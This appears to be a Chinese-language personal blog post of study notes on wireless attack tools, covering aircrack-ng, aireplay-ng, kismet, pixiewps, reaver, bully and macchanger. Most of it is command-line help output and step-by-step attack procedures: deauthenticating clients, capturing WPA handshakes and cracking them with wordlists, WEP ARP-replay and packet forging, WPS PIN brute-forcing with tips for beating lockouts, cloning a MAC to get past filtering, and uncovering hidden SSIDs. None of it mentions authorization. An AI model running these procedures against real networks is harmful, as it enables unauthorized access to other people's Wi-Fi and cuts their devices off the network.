持续更新中~ 下次更新尽量一个月内吧,有些地方还是晦涩难懂。
系统配置无线网络设备或显示无线网络设备信息的命令。iwconfig命令类似于ifconfig命令,但是他配置对象是无线网卡,它对网络设备进行无线操作,如设置无线通信频段
iwconfig interface [选项]
Usage: iwconfig [interface]
interface essid {NNN|any|on|off}
interface mode {managed|ad-hoc|master|...}
interface freq N.NNN[k|M|G]
interface channel N
interface bit {N[k|M|G]|auto|fixed}
interface rate {N[k|M|G]|auto|fixed}
interface enc {NNNN-NNNN|off}
interface key {NNNN-NNNN|off}
interface power {period N|timeout N|saving N|off}
interface nickname NNN
interface nwid {NN|on|off}
interface ap {N|off|auto}
interface txpower {NmW|NdBm|off|auto}
interface sens N
interface retry {limit N|lifetime N}
interface rts {N|auto|fixed|off}
interface frag {N|auto|fixed|off}
interface modulation {11g|11a|CCK|OFDMg|...}
interface commit
auto: 自动模式
essid:设置ESSID //设置ESSID(或网络名称——在某些产品中也可以称为域ID)。ESSID用于标识属于同一虚拟网络的单元。与定义单个单元的AP地址或NWID不同,ESSID定义了通过中继器或基础设施连接的一组单元,用户可以在这些单元中透明地漫游。对于某些卡片,您可以使用off或any(和on来重新启用它)禁用ESSID检查(ESSID混杂)。如果您的网络的ESSID是一个特殊的关键字(off、on或any),您应该使用——以转义它。
nwid:设置网络ID // 设置网络ID。由于所有相邻的无线网络共享相同的介质,该参数用于区分它们(创建逻辑并列网络)并识别属于同一单元的节点。此参数仅用于802.11之前的硬件,802.11协议使用此功能的ESSID和AP地址。对于某些卡,可以使用off(和on)禁用网络ID检查(NWID混杂)来重新启用它。
freq: 设置无线网络通信频段/率
chanel: 设置无线网络通信信道
sens: 设置无线网络设备的感知阀值 //适当设置这些阈值可以防止卡在接收微弱信号的同时浪费时间在背景噪声上。默认现在硬件感知都自动化了吧。
mode: 设置无线网络设备的通信设备
ap: 强迫无线网卡向给定地址的接入点注册 /使用off来重新启用自动模式,而不需要更改当前的访问点,或者您可以使用any或auto来强制卡与当前最佳的访问点重新关联。
nick<名字>: 为网卡设定别名
rate<速率>: 设定无线网卡的速率
rts<阀值>: 在传输数据包之前增加一次握手,确信信道在正常的
power: 无线网卡的发射功率设置
总结:保持默认吧,又不是老古董的网卡了,有特殊需求,恶劣条件下可考虑极限值尝试?
> Executing “aircrack-ng --help”
Aircrack-ng 1.6 - (C) 2006-2020 Thomas d'Otreppe
https://www.aircrack-ng.org
usage: aircrack-ng [options]
Common options:
-a : force attack mode (1/WEP, 2/WPA-PSK) //强制攻击模式
-e : target selection: network identifier //目标选择:网络标识符
-b : target selection: access point's MAC //目标选择:通过接入点的MAC
-p : # of CPU to use (default: all CPUs) //使用的CPU数量;默认全部
-q : enable quiet mode (no status output) //启用安静模式(无状态输出)
-C : merge the given APs to a virtual one //将给定的AP合并为虚拟AP
-l : write key to file. Overwrites file. //重写文件,将秘匙写入文件中
Static WEP cracking options: //静态WEP破解选项:
-c : search alpha-numeric characters only
-t : search binary coded decimal chr only
-h : search the numeric key for Fritz!BOX
-d : use masking of the key (A1:XX:CF:YY)
-m : MAC address to filter usable packets
-n : WEP key length : 64/128/152/256/512
-i : WEP key index (1 to 4), default: any
-f : bruteforce fudge factor, default: 2
-k : disable one attack method (1 to 17)
-x or -x0 : disable bruteforce for last keybytes
-x1 : last keybyte bruteforcing (default)
-x2 : enable last 2 keybytes bruteforcing
-X : disable bruteforce multithreading
-y : experimental single bruteforce mode
-K : use only old KoreK attacks (pre-PTW)
-s : show the key in ASCII while cracking
-M : specify maximum number of IVs to use
-D : WEP decloak, skips broken keystreams
-P : PTW debug: 1: disable Klein, 2: PTW
-1 : run only 1 try to crack key with PTW
-V : run in visual inspection mode
WEP and WPA-PSK cracking options:
-w : path to wordlist(s) filename(s)
-N : path to new session filename
-R : path to existing session filename
WPA-PSK options:
-E : create EWSA Project file v3
-I : PMKID string (hashcat -m 16800)
-j : create Hashcat v3.6+ file (HCCAPX)
-J : create Hashcat file (HCCAP)
-S : WPA cracking speed test
-Z : WPA cracking speed test length of
execution.
-r : path to airolib-ng database
(Cannot be used with -w)
SIMD selection:
--simd-list : Show a list of the available
SIMD architectures, for this
machine.
--simd=
aireplay-ng -0 0 -a kifi -c
0就是无限发包,直至打掉
不指定-c参数时,以广播攻击所有客户端
每攻击发送128个包,64个给AP,64个给客户端
物理足够接近被攻击者
排错:
物理足够接近被攻击者
与被攻击者使用相同无限标准b、n、g
客户端可能拒绝广播帧,建议指定客户端
实战步骤:
查看网卡名字:iwconfig
设置网卡为监听模式:airmon-ng start wlan0
扫描附近的WIFI:airodump-ng wlan0mon
选定一个路由器,并监听其流量:airodump-ng -w tplink -c 11 --bssid {MAC1} wlan0mon
选定连接的一个客户端,进行攻击:aireplay-ng -0 50 -a {MAC1} -c {MAC2} wlan0mon
对抓取到的cap包进行暴力破解:aircrack-ng -w password.txt -b {MAC1} tplink-01.cap
参考:
查看无线网卡名字:iwconfig 或者 ifconfig -a 都可以
开启网卡监听模式:airmon-ng start wlan0 。
网卡开启了监听模式之后网卡的名字就变为 wlan0mon 了,以后的所有命令中的网卡名都是叫 wlan0mon
扫描附近的WIFI:airodump-ng wlan0mon
会显示附近所有的WIFI信号。
显示数据的参数说明:
BSSID :AP端的MAC地址,如果在Client Section中BSSID显示为“not associated”意味着客户端没有和AP连接上
PWR :信号的水平强度,越大越好
Beacons :AP发出的通告编号,每个接入点(AP)在最低速率(1M)时差不多每秒发送10个左右的beacon,所以他们能够在很远的地方被发现
#Data: 对应路由器在线吞吐量,数字越大,数据上传量越大(数据越大表示在正常情况下使用的人越多,选择此目标成功率大些
CH :信号道(对应路由器的所在频道 / 渠道)
MB :连接速度 / AP支持的最大速率,如果:
+MB=11,它是802.11b
+MB=22,它是802.11b+
+MB>22,它是802.11g
ENC :使用的加密算法体系
CIPHER :检测到的加密算法
AUTH :使用的认证协议
+MGT(WPA/WPA2使用独立认证的服务器,常见的802.1x、redius、eap等)
+SKA(WEP的共享密钥)
+OPN(WEP开放式)
ESSID :对应的路由器名称(越往上信号越好)
STATION :客户端的MAC地址
Lost :在过去10s丢失的数据分组
Probes :被客户端查探的ESSID,如果客户端正在试图连接一个AP但是没有连接上,那么就显示在这里。
RXQ :接受质量,用于衡量所有帧和管理所有帧
选定一个准备破解的WIFI
监听该路由器的流量:
airodump-ng -w tplink -c 11 --bssid BC:46:99:3D:66:D6 wlan0mon # -w 参数指定生成的文件名 -c 指定信道 --bssid指定路由器的MAC地址
重新打开一个命令行窗口,开始攻击!之前的窗口继续保留,用于观察是否抓包成功
aireplay-ng -0 50 -a BC:46:99:3D:66:D6 -c A0:AF:BD:D8:E6:31 wlan0mon # 50是发包的数量 -a指定路由器的MAC地址 -c指定连接的客户端的MAC地址
该命令会打断连接客户端和WIFI之间的连接,等到客户端重新连接WIFI的时候,就会抓取他们之间的握手认证包!
如果看到[ WPA handshake: MAC],就说明握手包抓取成功了
我们可以在命令行运行的所在目录下,看到会生成四个文件,其中我们有用的文件是以 cap 后缀结尾的文件
对抓取到的cap包进行破解,这需要我们准备好破解的密码字典。所以,无论是任何破解,都需要一个强大的密码字典!
kali下自带有一份无线密码字典——> /usr/share/wordlists/rockyou.txt.gz ,我们将其解压
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b BC:46:99:3D:66:D6 tplink-01.cap #-w指定 密码字典 -b指定路由器的MAC地址
要想破解出WIFI的密码,需要一个很强大的字典!
就是采取不同的漏洞进行破解
aireplay-ng -0 10 -a ap_mac -c 合法客户端mac wifi0
参数说明:10表示发送次数(设置为0表示循环攻击,客户端无法正常上网)
-a设置ap的mac地址,-c设置已连接的合法客户端的mac地址(如果要-c则所有与ap连接的客户端全部断线)
这是没有客户端研究学习的第一步,因为是没有合法连接的客户端,因此需要一个伪装客户端来和路由器连接。为让ap接受数据包,必须使自己的网卡和ap关联。-1伪装客户端连接成功够才能用发送注入命令
aireplay-ng -1 0 -e ap_essid -a ap_mac -h my_mac wifi0
aireplay-ng -1 0 -e kifi -a -h
aireplay-ng -1 60 -o 1 -q 10 -e -a -h
参数说明:
0表示延迟0秒后连接;
-e设置ap_essid;
-a设置ap的mac地址
-h设置伪装客户端的网卡mac地址(就是自己网卡的mac地址)
-o 1 每次身份认证只发一组认证数据包
-q 10 每10秒发keep-live帧
排错:
某些AP验证客户端MAC地址OUI(前三个字节)——>虚假客户端MAC
MAC地址过滤
Denied(Code 1)is WPA in use
WPA/WPA2不支持Fake authentication
使用真实MAC地址
离信号太远
侦听信道不正确
这个模式集合了抓包和提取数据,发包注入三种功能
ireplay-ng -2 -p 0841 -c ff:ff:ff:ff:ff:ff -b ap_mac -h my_mac wifi0
参数说明:
-p设置控制帧中包含的信息(16进制),默认采用0841;
-c:设置目标mac地址;
-b设置ap的mac地址;
-h伪装的客户端网卡mac地址(就是自己的mac地址)
提取包,发送注入数据包
aireplay-ng -2 -r myarp -x 1024 wifi0
参数说明:
myarp:自己设置的文件名;
-x1024:发包的速度(最大为1024)
这种模式是一种抓包后分析重发的过程
aireplay-ng -3 -b ap_mac -h 合法客户端mac -x 512 wifi0
aireplay-ng -3 -b -h
参数说明:
-h 合法客户端/ 攻击者MAC
aireplay-ng data 字段
64bit密钥:25W
128bit密钥:150W
aireplay-ng -5 -b ap_mac -h my_mac wifi0
packetforge-ng 数据包制造程序
packetforge-ng -0 -a ap_mac -h my_mac wifi0 -k 255.255.255.255 -l255.255.255.255 -y niam_xor -w mrarp
参数说明:
-0:伪装arp数据包;
-k:设置目标文件ip和端口;
-l:设置源文件IP和端口;
-y:从xor文件中读取PRGA;
name:xor文件的名字;
-w设置伪装的arp包的文件名
aircrack-ng -n 64 -b ap_mac name-01.ivs
参数说明:
-n设置key长度(64/128/256/512)
> Executing “kismet -h”
usage: kismet [OPTION]
Nearly all of these options are run-time overrides for values in the kismet.conf configuration file. //几乎所有这些选项都是kismet.conf配置文件中值的运行时替代。
Permanent changes should be made to.the configuration file. //应该对配置文件进行永久更改
*** Generic Options ***
-v, --version Show version
--no-console-wrapper Disable server console wrapper //禁用服务器控制台包装器
--no-ncurses-wrapper Disable server console wrapper//禁用服务器控制台包装器
--debug Disable the console wrapper and the crash//禁用控制台包装和崩溃
handling functions, for debugging//处理函数,用于调试
-f, --config-file Use alternate configuration file//使用备用配置文件
--no-line-wrap Turn of linewrapping of output//使用备用配置文件
(for grep, speed, etc)
-s, --silent Turn off stdout output after setup phase//使用备用配置文件
--daemonize Spawn detached in the background//后面的卒子脱离了
--no-plugins Do not load plugins//不要加载插件
--homedir Use an alternate path as the home //使用替代路径作为主路径
directory instead of the user entry//目录而不是用户条目
--confdir Use an alternate path as the base //使用替代路径作为基准
config directory instead of the default //目录而不是默认目录
set at compile time//在编译时设置
--datadir Use an alternate path as the data//使用替代路径作为数据
directory instead of the default set at //目录而不是默认设置为
compile time.//编译时间。
*** Logging Options ***
-T, --log-types Override activated log types//重写激活的日志类型
-t, --log-title Override default log title//重写默认日志标题
-p, --log-prefix Directory to store log files//存储日志文件的目录
-n, --no-logging Disable logging entirely//完全禁用日志记录
*** Device Tracking Options ***
--device-timeout=n Expire devices after N seconds //N 秒后终止设备
无线网卡开启监听模式
airmon-ng start wlan0
网卡改变为监听状态,改名未wlan0mon
ps: wlan0 是我的笔记本无线网卡
查看自己的笔记本无线网卡是哪个的方法:
iwconfig:查看当前未监听状态以及监听状态的网卡名称。
修改默认配置文件(/etc/kismet/kismet.conf)
# See the README for more information how to define sources; sources take the
# form of:
# source=interface:options
#
# For example to capture from a Wi-Fi interface in Linux you could specify:
source=wlan0mon
#
# or to specify a custom name,
# source=ath9k
#
# Sources may be defined in the config file or on the command line via the
# '-c' option. Sources may also be defined live via the WebUI.
#
# Kismet does not pre-define any sources, permanent sources can be added here
# or in kismet_site.conf
通过 Kismet -s,不在输出终端下输出相关嗅探的ap信息。
默认嗅探到的信息都保存在当前执行命令的环境下目录下,后缀为kismet。
相对于 Aircrack-ng 的使用更加容易,相当于吧 Aircrack-ng 的操作过程集成在一步完成。
[+] 1 attack completed:
[+] 1/1 WEP attacks succeeded
cracked Test (14:E6:E4:AC:FB:20), key: "6162636465"
[+] disabling monitor mode on mon0… done
[+] quitting
从以上输出信息中,可以看到解密成功。其中,Test无线接入点的密码是6162636465。
> Executing “pixiewps -h”
Pixiewps 1.4 WPS pixie-dust attack tool
Copyright (c) 2015-2017, wiire
Usage: pixiewps
Required arguments: //必要参数
-e, --pke : Enrollee public key //注册会员公开密码匙
-r, --pkr : Registrar public key //注册主任公开密码匙
-s, --e-hash1 : Enrollee hash-1 // 加入者hash值
-z, --e-hash2 : Enrollee hash-2
-a, --authkey : Authentication session key //认证会话密钥
-n, --e-nonce : Enrollee nonce //新登记
Optional arguments://可选参数:
-m, --r-nonce : Registrar nonce//注册主任
-b, --e-bssid : Enrollee BSSID
-v, --verbosity : Verbosity level 1-3, 1 is quietest [3] //详细程度1-3级,1级最安静
-o, --output : Write output to file //将输出写入文件
-j, --jobs : Number of parallel threads to use [Auto] //使用的线程数
-h : Display this usage screen //显示此用法帮助界面
--help : Verbose help and more usage examples//详细帮助和更多的使用示例
-V, --version : Display version//显示版本
--mode N[,... N] : Mode selection, comma separated [Auto] //模式选择,逗号分隔
--start [mm/]yyyy : Starting date (only mode 3) [+1 day] //开始日期
--end [mm/]yyyy : Ending date (only mode 3) [-1 day] //结束日期
-f, --force : Bruteforce full range (only mode 3) //野兽力全射程
Miscellaneous arguments: //其他参数:
-7, --m7-enc : Recover encrypted settings from M7 (only mode 3) //从 M7恢复加密设置
-5, --m5-enc : Recover secret nonce from M5 (only mode 3) //从 M5中恢复秘密
Example (use --help for more):
pixiewps -e -r -s -z -a -n
--help example
Pixiewps 1.4 WPS pixie-dust attack tool
Copyright (c) 2015-2017, wiire
Description of arguments:
-e, --pke
Enrollee's DH public key, found in M1.
-r, --pkr
Registrar's DH public key, found in M2.
-s, --e-hash1
Enrollee hash-1, found in M3. It's the hash of the first half of the PIN.
-z, --e-hash2
Enrollee hash-2, found in M3. It's the hash of the second half of the PIN.
-a, --authkey
Authentication session key. Although for this parameter a modified version of Reaver or Bully is needed, it can be avoided by specifying small Diffie-Hellman keys in both Reaver and Pixiewps and supplying --e-nonce, --r-nonce and --e-bssid.
[?] pixiewps -e -s -z -S -n -m -b
-n, --e-nonce
Enrollee's nonce, found in M1.
-m, --r-nonce
Registrar's nonce, found in M2. Used with other parameters to compute the session keys.
-b, --e-bssid
Enrollee's BSSID. Used with other parameters to compute the session keys.
-S, --dh-small (deprecated)
Small Diffie-Hellman keys. The same option must be specified in Reaver too. Some Access Points seem to be buggy and don't behave correctly with this option. Avoid using it with Reaver when possible
--mode N[,... N]
Select modes, comma separated (experimental modes are not used unless specified):
1 (RT/MT/CL)
2 (eCos simple)
3 (RTL819x)
4 (eCos simplest) [Experimental]
5 (eCos Knuth) [Experimental]
--start [mm/]yyyy
--end [mm/]yyyy
Starting and ending dates for mode 3. They are interchangeable. If only one is specified, the current time will be used for the other. The earliest possible date is 01/1970, corresponding to 0 (Unix epoch time), the latest is 02/2038, corresponding to 0x7FFFFFFF. If --force is used then pixiewps will start from the current time and go back all the way to 0.
-7, --m7-enc
Encrypted settings, found in M7. Recover Enrollee's WPA-PSK and secret nonce 2. This feature only works on some Access Points vulnerable to mode 3.
[?] pixiewps -e -r -n -m -b -7 --mode 3
-5, --m5-enc
Encrypted settings, found in M5. Recover Enrollee's secret nonce 1. This option must be used in conjunction with --m7-enc. If --e-hash1 and --e-hash2 are also specified, pixiewps will also recover the WPS PIN.
[?] pixiewps -e -r -n -m -b -7 -5 --mode 3
[?] pixiewps -e -r -n -m -b -7 -5 -s -z --mode 3
顾名思义,就是针对wps连接的wifi进行攻击,但是现在懂wps连接的又有几个呢,然后又费事的用wps连接的又有几个呢,所以就没大用咯。
只适用于固定厂商的芯片,成功率很低
很多厂家实现了锁定机制,所以爆破时应注意限速
一旦触发锁定,可尝试耗尽AP连接数,令其重启并解除WPS锁定
开源地址:https://github.com/wiire-a/pixiewps
国内镜像:https://gitee.com/lhc0101/pixiewps
首先确保你的无线网卡能工作,进入monitor模式
airmon-ng start wlan0
使用
wash -C -i wlan0mon
airodump-ng wlan0mon --wps
来扫描开WPS的AP ctrl+c停止
使用
reaver -i wlan0mon -b -vv
reaver -i wlan0mon -b -vv -K 1
想要攻击的AP’MAC地址 -v -K 1
如果存在该漏洞的话,很快就能出pin和密码了
得到pin码子:如888888
reaver -i wlan0mon -b -vv -p 88888888
得到密码
如果确实有这方面的漏洞,秒破~
-i 无线网卡名称
-b 目标AP的mac地址
-a 自动检测目标AP最佳配置
-S 使用最小的DH key,可以提高破解速度
-vv 显示更多的非严重警告(注意这是 2 个小写字母 v)
-d 即delay每穷举一次的闲置时间 预设为1秒
-c 信道编号
-p PIN码四位或八位 //可以用8位直接找到密码。
同上一个功能
airmon-ng start wlan0
airodump-ng wlan0mon
wash -i wlan0mon
reaver -i wlan0mon -b xx:xx:xx:xx:xx:xx -vv
reaver -i wlan0mon -b D8:15:0D:D6:13:92 -a -S -d9 -t9 -vv
-d9 -t9时间间隔,防止挂掉reaver -i wlan0mon -b xx:xx:xx:xx:xx:xx -p 12316977
是 WPS 穷举法的一个新实现,用 c 语言编写。 它在概念上与其他程序相同,因为它利用了 WPS 规范中的(现在众所周知的)设计缺陷。 与原始的 reaver 代码相比,它有几个优点。 其中包括减少依赖项、改进内存和 cpu 性能、正确处理 endianness 以及更健壮的选项集。 它运行在 Linux 上,并且是专门为在嵌入式 Linux 系统(OpenWrt 等)上运行而开发的,无论其体系结构如何。
开源地址:https://gitlab.com/kalilinux/packages/bully/
usage: bully \ interface
Required arguments:
interface : Wireless interface in monitor mode (root required)
-b, --bssid macaddr : MAC address of the target access point
Or
-e, --essid string : Extended SSID for the access point
Optional arguments:
-c, --channel N[,N...] : Channel number of AP, or list to hop [b/g]
-i, --index N : Starting pin index (7 or 8 digits) [Auto]
-l, --lockwait N : Seconds to wait if the AP locks WPS [43]
-o, --outfile file : Output file for messages [stdout]
-p, --pin N : Starting pin number (7 or 8 digits) [Auto]
-s, --source macaddr : Source (hardware) MAC address [Probe]
-u, --lua : Lua script file
-v, --verbosity N : Verbosity level 1-3, 1 is quietest [3]
-w, --workdir path : Location of pin/session files [~/.bully/]
-5, --5ghz : Hop on 5GHz a/n default channel list [No]
-B, --bruteforce : Bruteforce the WPS pin checksum digit [No]
-F, --force : Force continue in spite of warnings [No]
-S, --sequential : Sequential pins (do not randomize) [No]
-T, --test : Test mode (do not inject any packets) [No]
Advanced arguments:
-d, --pixiewps : Attempt to use pixiewps [No]
-g, --genpin N : Pin Generator [1] D-Link [2] Belkin [0]
-a, --acktime N : Deprecated/ignored [Auto]
-r, --retries N : Resend packets N times when not acked [2]
-m, --m13time N : Deprecated/ignored [Auto]
-t, --timeout N : Deprecated/ignored [Auto]
-1, --pin1delay M[,N] : Delay M seconds every Nth nack at M5 [0,1]
-2, --pin2delay M[,N] : Delay M seconds every Nth nack at M7 [5,1]
-A, --noacks : Disable ACK check for sent packets [No]
-C, --nocheck : Skip CRC/FCS validation (performance) [No]
-D, --detectlock : Detect WPS lockouts unreported by AP [No]
-E, --eapfail : EAP Failure terminate every exchange [No]
-L, --lockignore : Ignore WPS locks reported by the AP [No]
-M, --m57nack : M5/M7 timeouts treated as WSC_NACK's [No]
-N, --nofcs : Packets don't contain the FCS field [Auto]
-P, --probe : Use probe request for nonbeaconing AP [No]
-Q, --wpsinfo : Use probe request to gather WPS info [No]
-R, --radiotap : Assume radiotap headers are present [Auto]
-W, --windows7 : Masquerade as a Windows 7 registrar [No]
-Z, --suppress : Suppress packet throttling algorithm [No]
-V, --version : Print version info and exit
-h, --help : Display this help information
-c, --channel N[,N...]
Channel number, or comma separated list of channels to hop on. Some AP's will switch
channels periodically. This option allows bully to reacquire an AP and continue an attack
without intervention. Note that using channel hopping will typically slow an attack,
especially when the AP's signal is weak, because time is spent scanning channels instead
of testing pins. If no channel is provided, bully will hop on all channels.
-i, --index N
This is the index of the starting pin number in the randomized pin file. This option is
not valid when running bully in sequential pin search mode. This is typically handled
for you automatically, i.e. an interrupted session will resume after the last pin that
was successfully tested. Note that when less than 7 digits (8 digits if -B is active) are
given, zeroes are padded on the left.
-l, --lockwait N
Number of seconds to wait when an AP locks WPS. Most AP's will lock out for 5 minutes, so
the default value is 43 seconds. This will cause bully to sleep 7 times during a lockout
period for a total of 301 seconds.
-o, --output file
By default, messages are printed to the standard output. Use this option to send output
to the specified file instead.
-p, --pin N
This is the starting pin number. Use of this option results in a sequential pin search
starting at the given pin. This is typically handled for you automatically, i.e. an
interrupted session will resume after the last pin that was successfully tested. Note
that when less than 7 digits (8 digits if -B is active) are given, zeroes are padded on
the left.
-s, --source macaddr
The source MAC address to embed in packets sent to the AP. Not all wireless cards can be
used to spoof the source MAC address like this, but the option is provided for chipsets
that allow it. When not provided, the wireless interface is probed to retrieve the MAC.
-v, --verbosity N
Verbosity level. 1 is the quietest, displaying only unrecoverable error information. Level
3 displays the most information, and is best used to determine exactly what is happening
during a session.
-w, --workdir path
Working directory, where randomized pins and session files are stored. Session files are
created in this directory based on the BSSID of the access point. Only one set of randomized
pins is created, and is used for all sessions. If you want to regenerate the pin file, simply
delete it from this directory; however incomplete runs that used the deleted file will not
be restartable. The default directory is ~/.bully/
-5, --5ghz
Use 5 GHz (a/n) channels instead of 2.54 GHz (b/g) channels. Untested.
-B, --bruteforce
Bruteforce the WPS pin checksum digit rather than calculating it according to the WPS
specification. Some AP's use a non-compliant checksum in an attempt to evade attacks from
compliant software. Use of this option can result in a ten-fold increase in the time it
takes to discover the second portion of the pin, and should only be used when necessary.
-F, --force
In certain scenarios bully will print a warning message and exit. This typically indicates that
it is being used in a manner that is questionable for most users. Advanced users and developers
can force continuance with this option.
-S, --sequential
By default, pins are randomized. This options allows pins to be tested sequentially.
-T, --test
Test mode. No packets are injected. Can be used to validate arguments, determine if an
access point is visible and has WPS enabled, generate a randomized pin file, or create a
session file for the access point.
-d, --pixiewps
The -d option performs an offline attack, Pixie Dust (pixiewps),
by automatically passing the PKE, PKR, E-Hash1, E-Hash2, E-Nonce and Authkey.
pixiewps will then try to attack Ralink, Broadcom and Realtek chipsets.
-g, --genpin N
This is a pin generator for either [1] D-Link or [2] Belkin
routers which uses a known vulnerability names "pingen attack".
-a, --acktime N
Deprecated. Packet timings are throttled automatically. Will be removed in future revision.
-r, --retries N
How many times do we resend packets when they aren't acknowledged? Default is 3. The idea is to
make a best effort to ensure the AP receives every packet we send, rather than have transactions
fail and restart due to a missed packet.
-m, --m13time N
Deprecated. Packet timings are throttled automatically. Will be removed in future revision.
-t, --timeout N
Deprecated. Packet timings are throttled automatically. Will be removed in future revision.
-1, --pin1delay M[,N]
Delay M seconds for every Nth NACK at M5. The default is 0,1 (no delay). Some access points
get overwhelmed by too many successive WPS transactions, and can even crash if we don't dial
things back a bit. This is the delay period to use during the first half of the pin.
-2, --pin2delay M[,N]
Delay M seconds for every Nth NACK at M7. The default is 0,1 (no delay). Some access points
handle transactions through M4 easily, only to fall down on too many successive M6 messages.
This is the delay period to use during the second half of the pin.
-A, --noacks
Turn off acknowledgement processing for all sent packets. Useful if you are sure the AP is
receiving packets even though bully can't see acknowledgements. You might need this for a USB
wifi adapter that processes acknowledgements and drops them before libpcap ever sees them.
-C, --nocheck
Turn off frame check sequence processing. We can improve performance somewhat by making the
dubious assumption that all packets we receive are valid. See also --nofcs below.
-D, --detectlock
Certain access points do not indicate that they have locked WPS in their beacon IE tags, but
summarily ignore all WPS transactions for a period of time. With this option, we can detect the
condition and sleep for --lockdelay seconds before resuming. In the interests of remaining
undetected, there is no point in broadcasting 5 minutes worth of unanswered EAP START messages.
-E, --eapfail
Send EAP FAIL messages after each transaction. Some AP's get confused when they don't see this.
-L, --lockignore
Ignore WPS lock conditions reported in beacon information elements (don't sleep).
-M, --m57nack
Treat M5 and M7 timeouts as NACK's, for those access points that don't send them but instead
drop the transaction. When using this option you will probably want to increase the --timeout
value, so that bully doesn't incorrectly assume a pin is incorrect due to a delayed message.
-N, --nofcs
Some wireless hardware will have done the work of checking and stripping the FCS from packets
already. Bully usually detects this and adjusts accordingly, but the option is here if you need
to force it.
-P, --probe
Bully uses beacons to examine the WPS state of an access point. For nonbeaconing AP's, send
directed probe requests and use the resulting probe responses instead. Requires --essid.
-Q, --wpsinfo
Gather WPS info by using probe request(s) against a target.
May reveal chipset manufacturer, WPS version and other geeky stats.
-R, --radiotap
Assume radiotap headers are present in received packets. This is useful in cases where presence
of radiotap headers is incorrectly reported or detected.
-Z, --suppress
Suppress automatic timimg algorithm and instead use default timings for received packets. NOT
RECOMMENDED.
-W, --windows7
Masquerade as a Windows 7 registrar.
-V, --version
Print version information to standard output and exit.
-h, --help
Display onscreen help.
管理员误以为MAC绑定是一种安全机制,能够限制可以关联的客户端MAC地址。
准备AP:
1、AP基本配置
2、Open认证
3、开启无线过滤
修改MAC地址绕过过滤:
别人做了白名单mac绑定,这样的话,侦听这个BSSID,查看哪一个STA的MAC已经连上,复制这个已经连上的STA的MAC,把这个MAC地址复制到自己的无线网卡的MAC上。
ifconfig wlan0 down
macchanger -m 接MAC地址 接网卡
ifconfig wlan0 up
再去连接,就可以连接上了。——>双方存在的话会丢包,信号不好(除非只有一个存在)
1、IV并非完全随机
2、每224个包可能出现一次IV重用
3、收集大量IV之后找出相同IV及其对应密文,分析得出共享密码
ARP回包中包含IV
只要在IV足够多的情况下,任何复杂程度的WEP密码都可以被破解(IV量破解和暴力破解)
伪造认证,以便与AP进行正常通信
侦听正常的ARP包并重放给AP
AP回包中包含大量弱IV——>重复出现
强制客户端与AP断开关联
重连生成ARP请求,AP回包包含IV
WPA重连过程,过程抓取4步握手过程,保存到本地cap文件中。
无客户端情况下此攻击无效
暴力破解条件:
1、CPU资源
2、时间
3、字典质量:
网上共享的字典
泄露密码(an Internet)
地区电话号码段
Crunch生成字典
kali中自带的字典 ——>有些密码不符合要求,会自动过滤
隐藏SSID防止破解有用么?
隐藏SSID就是把你wifi的AP隐藏起来,不让别人搜索到。请注意,这样的话,在连接wifi时就要手动输入AP名。
只看到了 length 12,没有ap名。
airodump-ng -c 6 --bssid C8:3A:35:30:3E:C8 wlan0mon
aireplay-ng -0 30 -a C8:3A:35:30:3E:C8 -c B8:E8:56:09:CC:9C wlan0mon
破解密码的方法不变;使用上面两个命令就可以轻松得到ap名。
事实证明,隐藏SSID并不管啥事;其实设置一个复杂的密码比隐藏SSID要管用的多。
本文同步更新至个人博客:罗小黑零食铺
如果个人博客打不开就是维护升级中~